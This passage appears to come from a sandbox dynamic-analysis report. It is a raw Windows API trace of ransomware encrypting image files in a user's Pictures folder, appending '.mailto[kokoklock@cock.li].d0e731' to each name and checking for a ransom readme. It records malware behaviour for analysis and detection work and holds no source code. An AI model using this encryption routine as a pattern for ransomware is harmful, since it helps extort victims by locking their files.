returned 1 [0175.918] CloseHandle (hObject=0x4d0) returned 1 [0175.918] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97058 [0175.918] wcscpy (in: _Dest=0x2f97058, _Source="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" [0175.918] wcscat (in: _Dest=0x2f97058, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.918] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.919] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97058) returned 1 [0175.919] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93a30 [0175.920] wcscpy (in: _Dest=0x2f93a30, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.920] wcscat (in: _Dest=0x2f93a30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.920] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93a30) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d60) returned 1 [0175.920] RtlExitUserThread (Status=0x1) Thread: id = 1886 os_tid = 0x480 [0170.238] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.883] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.883] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x11d6fe3c | out: lpFileSize=0x11d6fe3c*=31301) returned 1 [0175.883] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x7a41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.883] ReadFile (in: hFile=0x4d0, lpBuffer=0x11d6fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x11d6fe10*, lpNumberOfBytesRead=0x11d6fe0c*=0x4, lpOverlapped=0x0) returned 1 [0175.884] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0175.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.885] NtQuerySystemTime (in: CurrentTime=0x11d6fde8 | out: CurrentTime=0x11d6fde8*=132121213332056792) returned 0x0 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x5925b2a [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xf5425e27 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xda226070 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xf7852b92 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xb7c948d0 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x30416ebd [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x2eb66593 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x3deeada2 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xb18116ea [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x71d9135e [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x37da0c62 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x21d6c197 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xa0a8db77 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xe1f60a6b [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x6b4392dc [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x2f1eea8f [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xb1261bda [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x17d703e1 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x5ba34080 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xfb026d67 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x4620a6de [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xf1156209 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xea8ae386 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xb8183798 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x37d2dc0a [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x6b2bfa04 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x95e9835c [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x53b51d17 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0x6f9a30b0 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xaf7b21a0 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xd97dfed2 [0175.885] RtlRandom (in: Seed=0x11d6fdf4 | out: Seed=0x11d6fdf4) returned 0xf33b6ab [0175.896] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.896] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11d6fdc0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x11d6fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0175.896] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0175.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88cd0 [0175.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0175.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x305ebf8 [0175.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ebf8) returned 1 [0175.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88cd0) returned 1 [0175.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0175.897] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11d6fdc0, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x11d6fdc0*=0x4096, lpOverlapped=0x0) returned 1 [0175.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.897] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x7a45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.897] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11d6fdf8, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x11d6fdf8*=0x20, lpOverlapped=0x0) returned 1 [0175.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0175.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x11d6fe0c*=0x8, lpOverlapped=0x0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x11d6fe24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x11d6fe24*, lpNumberOfBytesWritten=0x11d6fe0c*=0x4, lpOverlapped=0x0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11d6fe0c*=0x4, lpOverlapped=0x0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11d6fe0c*=0x6c, lpOverlapped=0x0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x11d6fe0c*=0x20, lpOverlapped=0x0) returned 1 [0175.898] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11d6fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11d6fe0c*=0x4, lpOverlapped=0x0) returned 1 [0175.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0175.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0175.899] CloseHandle (hObject=0x4d0) returned 1 [0175.899] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1a30 [0175.899] wcscpy (in: _Dest=0x2ff1a30, _Source="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" [0175.899] wcscat (in: _Dest=0x2ff1a30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.899] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.900] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1a30) returned 1 [0175.900] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.900] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93a30 [0175.900] wcscpy (in: _Dest=0x2f93a30, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.900] wcscat (in: _Dest=0x2f93a30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.900] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93a30) returned 1 [0175.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5690) returned 1 [0175.900] RtlExitUserThread (Status=0x1) Thread: id = 1887 os_tid = 0x48c [0170.238] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.854] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.854] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x11defed8 | out: lpFileSize=0x11defed8*=24030) returned 1 [0175.854] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x5dda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.854] ReadFile (in: hFile=0x4d0, lpBuffer=0x11defeac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x11defeac*, lpNumberOfBytesRead=0x11defea8*=0x4, lpOverlapped=0x0) returned 1 [0175.855] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0175.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0175.855] NtQuerySystemTime (in: CurrentTime=0x11defe84 | out: CurrentTime=0x11defe84*=132121213331702110) returned 0x0 [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xe1a7fb3b [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x869d91a6 [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x4c0dc14a [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x85ed654b [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x96bb8b2f [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xaf5a3029 [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xee2ef53a [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xedf5d4c5 [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xc3bc1268 [0175.855] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xa49ddf13 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x5645cf81 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xc31090b1 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x566a3c5d [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xb9bb88a5 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x24ba5670 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x85f06447 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x2542fae0 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x6f85926d [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x77b37d7d [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xc5a3367b [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x84c9ecfc [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x8be5b2e5 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xdd444f44 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x903bbba3 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x7201b935 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xebc55835 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xa95837ac [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xa7fa8a3b [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0x9da73b21 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xcb01a919 [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xc922d83f [0175.856] RtlRandom (in: Seed=0x11defe90 | out: Seed=0x11defe90) returned 0xd3e495ca [0175.867] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.867] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11defe5c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x11defe5c*=0x4096, lpOverlapped=0x0) returned 1 [0175.867] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0175.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88cd0 [0175.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88cd0) returned 1 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0175.868] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11defe5c, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x11defe5c*=0x4096, lpOverlapped=0x0) returned 1 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.868] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x5dde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.868] WriteFile (in: hFile=0x4d0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11defe94, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x11defe94*=0x20, lpOverlapped=0x0) returned 1 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x11defea8*=0x8, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x11defec0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x11defec0*, lpNumberOfBytesWritten=0x11defea8*=0x4, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11defea8*=0x4, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11defea8*=0x6c, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x11defea8*=0x20, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11defea8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11defea8*=0x4, lpOverlapped=0x0) returned 1 [0175.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0175.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0175.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.869] CloseHandle (hObject=0x4d0) returned 1 [0175.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4760 [0175.870] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" [0175.870] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.870] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: 